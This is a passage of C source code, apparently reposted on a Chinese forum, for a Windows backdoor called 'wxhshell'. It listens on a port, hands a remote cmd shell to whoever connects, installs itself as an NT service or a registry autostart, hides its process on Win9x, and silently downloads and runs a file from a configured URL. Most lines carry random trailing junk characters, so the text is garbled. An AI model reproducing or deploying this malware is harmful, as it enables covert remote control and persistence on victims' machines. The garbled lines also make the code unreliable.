  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t.laO. 3  
  } `glBV`?^  
  else { UD8op]>L  
kKAP"'v  
    switch(cmd[0]) {  .Nw=[  
  W7U2MqQ  
  // 帮助 MC<PM6w  
  case '?': { _(h&7P9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T(t+ iv  
    break; A<1hOSCz\  
  } n}'=yItVL1  
  // 安装 c17_2 @N  
  case 'i': { _tBTE%sO  
    if(Install()) S<4c r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  /% M/  
    else @^T1XX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); poToeagZ~Q  
    break; 5\e9@1Rc  
    } "tB;^jhRs  
  // 卸载  OU8Lldt  
  case 'r': { Vm3v-=6  
    if(Uninstall()) rd9e \%A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MhR:c7,  
    else #7MUJY+ 9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KTP8?Q"n0  
    break; "J4WzA%i  
    } ~y/ nlb!  
  // 显示 wxhshell 所在路径 13@|w1/Z  
  case 'p': { cUA7#1\T=  
    char svExeFile[MAX_PATH]; qWODs  
    strcpy(svExeFile,"\n\r"); Z@3i$8  
      strcat(svExeFile,ExeFile); ynE)Xdh  
        send(wsh,svExeFile,strlen(svExeFile),0); kP-3"ACG  
    break; <Dwar>}  
    } ;\=M; Zt  
  // 重启 [N/"5 [  
  case 'b': { h&--,A >  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /(iFcMT  
    if(Boot(REBOOT)) =zKhz8B(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cn "s` q  
    else { 1(|'WyD  
    closesocket(wsh); 1`a5C.v  
    ExitThread(0); C!fMW+C@  
    } \3pc"^W  
    break; FQqI<6;  
    } D^=J|7e  
  // 关机 Pmh8sw  
  case 'd': { wS%Q<uK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eA#;AQm  
    if(Boot(SHUTDOWN)) ;4.!H,d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZuS0DPS`L  
    else { PX<J&rx  
    closesocket(wsh); a=hxJ1O  
    ExitThread(0); ~])t 6i  
    } @Ub"5Fl4  
    break; 8 0Gn%1A9  
    } g7O qX \  
  // 获取shell g K[YQXfTy  
  case 's': { @te!Jgu{  
    CmdShell(wsh); >_|O1H./4  
    closesocket(wsh); EUN81F?  
    ExitThread(0); $shoasSuI  
    break; :9^;Qv*  
  } &(xH$htv1  
  // 退出 i 7x7xtq  
  case 'x': { L{h%f4Du#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &NH$nY.r  
    CloseIt(wsh); 1 D<_N  
    break; J"=vE=  
    } ^yyC [Mz  
  // 离开 wtH? [>S;)  
  case 'q': { (2:/8\_P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UN]f"k&  
    closesocket(wsh); /.Ww6a~  
    WSACleanup(); r[lF<2&*R  
    exit(1); E|6VX4`+  
    break; uF1~FKB  
        } @U3Vc|  
  } e^<#53!  
  } QA5Qwe L  
HN&Z2v   
  // 提示信息 FRg^c kb"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l}] t~!X=  
} 5[* qi?w=  
  } C4~;yhz  
&?*V0luP)  
  return; %jJ>x3$F  
} 9hOJvQ2U]  
%we u 1f  
// shell模块句柄 J|w\@inQ  
int CmdShell(SOCKET sock) V>A .iim  
{ -Xxqm%([71  
STARTUPINFO si; Axe8n1*y  
ZeroMemory(&si,sizeof(si)); SRrw0&ts  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pO ml8SQf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %2XHNW  
PROCESS_INFORMATION ProcessInfo; z#]Jv!~EPE  
char cmdline[]="cmd"; v(EEG/~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &:, dJ  
  return 0; jF=gr$  
} 1Dv R[Lx%  
{`K m_<Te!  
// 自身启动模式 QrYpZZ;  
int StartFromService(void) , ]+z)   
{ LAd\Tvms  
typedef struct ,0hA'cp  
{ <-,gAk)u  
  DWORD ExitStatus; N(y\dL=v  
  DWORD PebBaseAddress; q^r#F#*1l  
  DWORD AffinityMask; AO=h 23ZI  
  DWORD BasePriority; l)!n/x_ !  
  ULONG UniqueProcessId; IGtl\b=  
  ULONG InheritedFromUniqueProcessId; .h>8@5/s  
}   PROCESS_BASIC_INFORMATION; IuNiEtKx  
r9 !Tug*>m  
PROCNTQSIP NtQueryInformationProcess; c2e tc8  
?zQA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K9OYri^TQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xv&Q+HD  
qeL5D*  
  HANDLE             hProcess; V\^EfQ  
  PROCESS_BASIC_INFORMATION pbi; ,ztI,1"k  
?ON-+u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !-,t'GF(  
  if(NULL == hInst ) return 0; Fv Jd8kV  
Vv8jEZ8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DM}YJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8[J}CdS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /ig:9R  
Um: Hrjw  
  if (!NtQueryInformationProcess) return 0; dO4{|(z  
AiK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C@bm  
  if(!hProcess) return 0; o]p|-<I Q  
|Tm!VFd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DBT&DS  
^9 ePfF)5  
  CloseHandle(hProcess); &&VqD w  
"Q?k'^@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l"2OP6d  
if(hProcess==NULL) return 0; `g6h9GC6  
{WPobP"  
HMODULE hMod; Qbyv{/   
char procName[255]; qfK`MhA}  
unsigned long cbNeeded; &d5ia+ #  
<~n$1aA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;d'Z|H;  
##EYH1P]  
  CloseHandle(hProcess); hYM@?/(q  
Xa[?^P  
if(strstr(procName,"services")) return 1; // 以服务启动 ;\\@q"n%<  
Vgyew9>E  
  return 0; // 注册表启动 6p?JAT5  
} \@1=stK:F  
k:#P|z$UD  
// 主模块 ,iv|Pq $!  
int StartWxhshell(LPSTR lpCmdLine) ")!,ZD  
{ !V,{_(LT  
  SOCKET wsl; {FG|\nPw  
BOOL val=TRUE; EoxQ */  
  int port=0; e&qh9mlE  
  struct sockaddr_in door; ^4`Px/&  
=@8H"&y`  
  if(wscfg.ws_autoins) Install(); hQDTS>U  
r?*NhLG ;  
port=atoi(lpCmdLine); [g Z"a*  
ty*@7g0k  
if(port<=0) port=wscfg.ws_port; }-o{ASC#  
y:h}z).  
  WSADATA data; hweaGL t0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qg}O/K  
?1 [\!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nE^Qy=iE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,ML[Wr'2  
  door.sin_family = AF_INET; I~9hx*!%%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E)9yH\$6  
  door.sin_port = htons(port); Iz{R}#8CZ  
sPb=82~z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `QUy;%+  
closesocket(wsl); 4)<~4 '  
return 1; (Gw,2 -A  
} }Iz7l{al   
_+^ 2^TW  
  if(listen(wsl,2) == INVALID_SOCKET) { eU N"w,@y  
closesocket(wsl); C$@yG)Pj   
return 1; Xj5~%DZp  
} 0`I-2M4F*Q  
  Wxhshell(wsl); Iy.rqc/86  
  WSACleanup(); -p E(_  
pOrWg@<\L  
return 0; Xe^Cn R  
z8J."27ND  
} f uB)qt!E  
CCX8>09  
// 以NT服务方式启动 V86Xg:?7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LT,?$I  
{ F1Hh7 F  
DWORD   status = 0; N?m0US u*  
  DWORD   specificError = 0xfffffff; if]Noe  
cn- nj]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ( &frUQm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D Kw*~0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j$7Xs"  
  serviceStatus.dwWin32ExitCode     = 0; F|HJH"2*&q  
  serviceStatus.dwServiceSpecificExitCode = 0; 6O22P?v  
  serviceStatus.dwCheckPoint       = 0; }h}<! s  
  serviceStatus.dwWaitHint       = 0; 6Vbzd0dk  
W7\&~IWub  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *\o/q[  
  if (hServiceStatusHandle==0) return; 1<h>B:  
Vm|Y$ C  
status = GetLastError(); ,~);EC=`  
  if (status!=NO_ERROR) XJ0oS32_wK  
{ CY& hIh~S@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]D!k&j~P  
    serviceStatus.dwCheckPoint       = 0; "9bN+1[<  
    serviceStatus.dwWaitHint       = 0; 9P<[7u  
    serviceStatus.dwWin32ExitCode     = status; 2Gs$?}"a  
    serviceStatus.dwServiceSpecificExitCode = specificError; [*Z`Kc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,= &B28Qe)  
    return; IB`>'~s&A  
  } "aFhkPdWn  
LsM7hLy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fbkd"7u  
  serviceStatus.dwCheckPoint       = 0; ,\aUq|~  
  serviceStatus.dwWaitHint       = 0; !gmH$1w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7HHysNB"w  
} \Fe_rh  
!P$'#5mr  
// 处理NT服务事件,比如:启动、停止 (?*BB3b`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p<v.Q   
{ }I!hOD>]O  
switch(fdwControl)  P N*JR  
{ olW|$?  
case SERVICE_CONTROL_STOP: 6ITLGA  
  serviceStatus.dwWin32ExitCode = 0; *E~VKx1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5eA8niq#  
  serviceStatus.dwCheckPoint   = 0; u<n`x6gL  
  serviceStatus.dwWaitHint     = 0; Do]*JO)(  
  { BvU"4d;x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j2P n<0U  
  } 1'4J[S\cM  
  return; =5s F"L;b  
case SERVICE_CONTROL_PAUSE: %G@5!|J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6st^4S5  
  break; $^tv45  
case SERVICE_CONTROL_CONTINUE: vwr74A.g0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Kwhdu<6  
  break; {R^'=(YFy  
case SERVICE_CONTROL_INTERROGATE: sgr=w+",Q  
  break; %ObD2)s6:^  
}; 3[XQR8o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h)v^q: ='  
} Oc&),ru2l  
v[lnw} =m9  
// 标准应用程序主函数 +} mk>e/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C`'W#xnp1  
{ 0q9>6?=i  
|fHB[ W#  
// 获取操作系统版本 >bUj *#<  
OsIsNt=GetOsVer(); - /c7n F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %k0EpJE%  
dS`Bk6 Y  
  // 从命令行安装 X[W]=yJJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); {$M;H+Foh  
)n=ARDd^e  
  // 下载执行文件 ?_`0G/xl  
if(wscfg.ws_downexe) { 1 11D3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $A}QY5`+~S  
  WinExec(wscfg.ws_filenam,SW_HIDE); !eJCM`cp  
} ,5|d3dJS  
#' hLb  
if(!OsIsNt) { f '6|OsVQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 5v^L9!`@%v  
HideProc(); qXXGF_Q  
StartWxhshell(lpCmdLine); WjMS5^ _  
} {?{U,&  
else -n*;W9  
  if(StartFromService()) c0 WFlj9b  
  // 以服务方式启动 @gSkROCdC)  
  StartServiceCtrlDispatcher(DispatchTable); Bfd-:`Jk  
else j|e[s ? d  
  // 普通方式启动 QT#6'>&7-b  
  StartWxhshell(lpCmdLine); G*\h\ @  
,kgF2K!  
return 0; )uP[!LV[e  
}
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只看该作者 1 发表于: 2006-10-10
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